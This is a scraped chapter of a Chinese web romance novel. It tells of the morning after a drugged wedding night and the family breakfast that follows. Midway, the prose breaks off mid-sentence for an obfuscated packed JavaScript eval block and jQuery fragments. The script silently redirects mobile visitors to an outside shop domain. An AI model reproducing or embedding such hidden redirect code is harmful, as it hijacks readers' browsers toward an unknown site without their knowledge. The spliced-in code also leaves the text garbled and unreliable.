文趣网 > 都市小说 > 被迫和竹马成婚后 > 7. 晨起
    许亦安漂亮的眼睛微微瞪大,睫毛比常人纤长,被流金般的阳光照着,在眼睑投下一小片阴影,显得无辜又生动。

    温晏暗自掐了掐手心,拒绝美色的诱惑。

    对面薄唇轻启,似乎还带着微不可查的笑意。

    “好像没听说那种药毁脑子。”

    那种药?

    昨夜的记忆瞬间回笼,那些暧昧的,让人脸热的片段再次从眼前闪过。

    温晏晃了晃神,思索着整件事情事情的来龙去脉,突然瞪着眼睛嚷道:“对!我还没问呢,你是不是早知道酒有问题?”

    简直像个炸了毛的猫崽子。

    许亦安十分无奈地点点头,不知是说给自己还是谁给她听:“忘记了,本来也没脑子可毁。”

    白玉酒壶与寻常的样式不同,除了顶部嵌入的红宝石,还有某些部位被光线照射时,流露出来的金属感。

    想来温母也清楚这点,才会在黄昏时才亲自将酒送过来,又特意用身体挡住亮处,想要浑水摸鱼。

    起初只是有些怀疑,然而从观察到温母慌乱的那一刻,他就知道酒里有蹊跷。

    “你爹我混迹疆场十数年,要不是敌人太狡猾,怎么可能着了道?”温晏一拳垂在许亦安胸口,指骨的触感温热细腻。

    不得不说,这人也不是毫无优点,身体结实,皮肤又白净得跟姑娘似的,睡一睡也不吃亏。

    想到这里,她继续道:“还是说正事吧,咱俩得要个孩子。”

    许亦安太阳穴直突突:“何出此言?”

    看着女子一脸懵懂,他换了个说法:“您老怎么会有如此歹毒的想法?”

    温晏一副被夸奖的模样,挺了挺胸膛,骄傲道:“我是为了早点和离,明白吗?”

    不明白。

    不仅许亦安懵了,连门外偷听的温家父母也懵了。

    温晏倒是通透,陛下给他俩赐婚,为的是什么?那老赵头压根不想让他俩凑一块,全都是老爹自己去求的。

    老爹又是怎么想的呢?照顾一下可怜的孤儿寡母,顺便解决闺女还没成婚的问题。

    想法很好,要是别想那么多就更好了。

    所以给他生个外孙子外孙女的玩玩,估计就没空瞎想了。

    “到时候就这样,我假装出去英雄救美,让野男人缠住了,你带着孩子孤儿寡父的,还不幸被我无情的抛弃,只好提出和离。爹娘一定对你们好上加好,这主意怎么样?”

    温晏丝毫不打磕巴,还积极补充道,“坏人都我来当,其实我觉得,哪怕不成婚温家照顾许家那也是情理之中。”

    她完全没有注意到,男子的脸色阴沉得可怕,直到听见细微的响动。

    一门之隔,温母蹬了身边人一脚。

    那人应声躺倒,随后追打声逐渐远去。

    “我觉得挺好,但是有一个问题。”许亦安闭了闭眼,“孩子可不是说来就来的。”

    温晏抵在他胸口的拳头打开,十分刻意地揉了揉,俯下身去。

    “这简单,该做的都做了,一次不行来两次,咱们用数量代替质量。”

    女子带着薄茧的指尖向上游走,最终停留在下巴处,还轻柔地刮了刮。

    “孩子嘛,努努力总会有的。”

    床帐内的温度缓慢攀升,她是跨坐的姿势,头发只是随意地束起,动作间早散了大半。几缕不听话的发丝落到男子颈窝处,带起一串酥麻和颤栗。

    不出意料地听到许亦安呼吸加重。

    “那,万一怀不上呢?”他吐了一口气,眼睫微微颤动。

    温晏没想过这个问题,动作停了下来,愣愣道:“什么意思?”

    身下的人曲起手臂,盖住自己的眉眼,似乎不想被看到此刻的表情。

    “万一,我不能让你…”

    空气寂静了很久。

    原来还会有男子说自己不行。

    要不是昨晚上上下下、里里外外地“检验”了一遍,还真信了他的鬼话。

    温晏气急败坏地堵住了那张嘴,一边解着自己的衣带。

    床幔识趣地掩住内里的春色。

    “又不怕疼了?”男子含笑的声音传了出来。

    “刚开始疼,现在觉得…”

    肌骨交融,让人上瘾。

    等到两人胡闹完事,几乎到了正午时分。

    阳光正好,多一分刺眼,少一分失真。

    温府众人十分默契地围坐一桌,没人去温晏那屋叫人吃饭。

    院子不大,又都小心翼翼地克制声音,掉根针都能听得清楚,温清扒拉着碗里的饭,心思早飘到不知哪里去了。

    “老大,老大!”温母伸手在他眼前晃了晃,将空碗夺走,“都没饭了,傻小子想什么呢。”

    眼前被冒着热气的白米饭占据,温清终于回了神,小声道:“我不想娶媳妇儿了。”

    “哥呀,妹妹都嫁了,离你成亲还能远吗?”温晏打着哈欠,睡眼惺忪的走过来,一屁股坐在板凳上。

    刚落座,就眼疾手快地夹起一块红烧肉。

    她套着一身素白的衣裳,上衣的领子还翘着,潦草又随意,反观身后的许亦安,从头到脚倒是穿得整整齐齐,跟着坐在旁边。

    温清藏在桌子下面的腿碰了碰妹妹,试探道:“妹…妹崽,昨晚…还好吗?”

    “还行。”温晏囫囵答着,嘴边还沾着晶亮的酱汁,“哥,娘昨晚把偷藏的好酒都拿出来了,你们喝到了吗?”

    温小将军擦了擦嘴,笑得灿烂无比。

    知情的三人脸色格外精彩。

    “喝了…吗?”温清汗如雨下。

    在座的除了温柔一脸不解,其余所有人都埋头苦吃。

    “那酒啊…你爹馋嘴,全给喝了。”温母呵呵笑了两声,又夹了块肥瘦均匀的肉到孩子碗里,顺便踩了身边人一脚。

    欲言又止的温父彻底闭了嘴。

    “你们仨今早上吃什么不消化的了?”

    温柔皱着眉喝完最后一口汤,留下这句话就去厨房刷碗了。

    温澜也不知道什么时候偷跑回了屋,饭桌边上只剩下几人各怀心事。

    天格外蓝,连风都没有。

    又一阵诡异的沉默过后,还是温父率先开口。

    “亦安呐,你受委屈了。有什么想要的尽管开口,能办的我都给你办。”他伸岀宽厚如熊掌的大手落在女婿的肩头,重重地拍了两下。

    好巧不巧,是温晏昨夜咬过的那边。

    许亦安眼底闪过的一抹痛色终究没有逃过她的眼睛。

    那下咬得不轻,早上看他穿衣时肩膀一片青紫。

    温晏差点没笑出声来,强绷着脸道:“吃亏的是他吗?不是说闺女都是爹的掌上

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17945412|214045||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    明珠吗?怎么不关心我,反倒去问别人。”

    温父一脸理所当然:“为父不是一直将你呵护在脚掌之下吗?”

    合着掌上明珠是脚掌的掌是吧。

    听到这话,一直正襟危坐的许亦安也眼含笑意,就快装不下去了。

    他给温晏盛好汤端到面前,起身道:“岳父岳母,今日起得晚了些,本来说好用过饭去新居看看,我就先去准备了。”

    温家父母越看越爱,两双眼睛笑出的褶子跟花卷似的,任由女婿自己回了屋。

    温晏自觉没趣,拿筷子戳着碗里的米饭,神色恹恹:“说起来我哥还没娶老婆呢。”

    被提及的适婚男子虎躯一震。

    温清大她两岁,正是该说亲的年纪,早在占领盛京城之前,就有不少人家提过自家姑娘,想要结个亲。

    全都被爹娘给拒绝了。

    温父喝完最后一口汤,将碗放下:“你哥堂堂七尺男儿,威武雄壮的汉子,一顿能吃四两米饭,他愁嫁吗?”

    温晏默默端起饭碗,开始与食物的新一场战争。

    最终也只是把碗里的饭吃干净了,四两米饭是不可企及的奢望。

    原来我愁嫁是因为吃的不够多吗?

    脑袋里揣着这个疑问,搁下饭碗之后,温晏恍恍惚惚地回了房间。

    木门虚掩着,里面红色的装饰还没拆掉,依稀能看到凌乱的被褥。

    “我进来了啊。”温晏清了清嗓子,提高声音说道。

    谁知,屋内根本没人。

    许亦安跑哪去了?

    .

    盛京城四四方方的,端的是个坐北朝南的繁华都城。许亦安穿戴整齐,趁着垂花门外几人聊的正欢,利落地从后墙翻了出去。

    衣袂翻飞,连瓦片上的灰都没沾上。

    落地之后,偌大个人做贼似的环顾四周,踮着脚走了两步。

    温府正门外全是小商贩,十几双眼睛盯着,显然不是上上之选。

    后墙外的北街更靠近皇城,人虽然少,却住着些达官显贵,这飞檐走壁的事要是叫熟人看见了,还是有些尴尬的。

    不过他一向运气很好,周围没有人看到这一幕。

    许亦安稍稍松了一口气,出了这条街直奔南面的松鹤堂去了。

    进京这几日,他研究了盛京城不少铺面,松鹤堂是有名的医馆,经营了几乎百年,代代传承,或许会有些不闻于世的秘方…

    这样想着,就和柜台后面的医师对上了视线。

    “官人哪里不舒服?”

    许亦安紧走几步,只觉得浑身的血液都冲到了头顶,支支吾吾道:“你们这,有没有那种药?”

    医师愣住了。

    那种药…是哪种?

    他瞪大眼睛,从头到脚地将人打量了一遍,是个体面人没错,面色红润,气血方刚,不像有什么隐疾的。

    只好问道:“您能否详细道来?”

    “就是…不让人怀有子嗣的药。”

    医师大惊失色,声音都高了些许:“官人我们这是正经医馆,若是家中妇孺有不舒服的,请把患者带来诊治。”

    眼看着周围的人都留意到这边的骚乱,许亦安攥了攥手指,头一次想要临阵脱逃。

    终于,他闭了闭眼,认命道:

    “我说的是那种,专给男子服用的避子药。”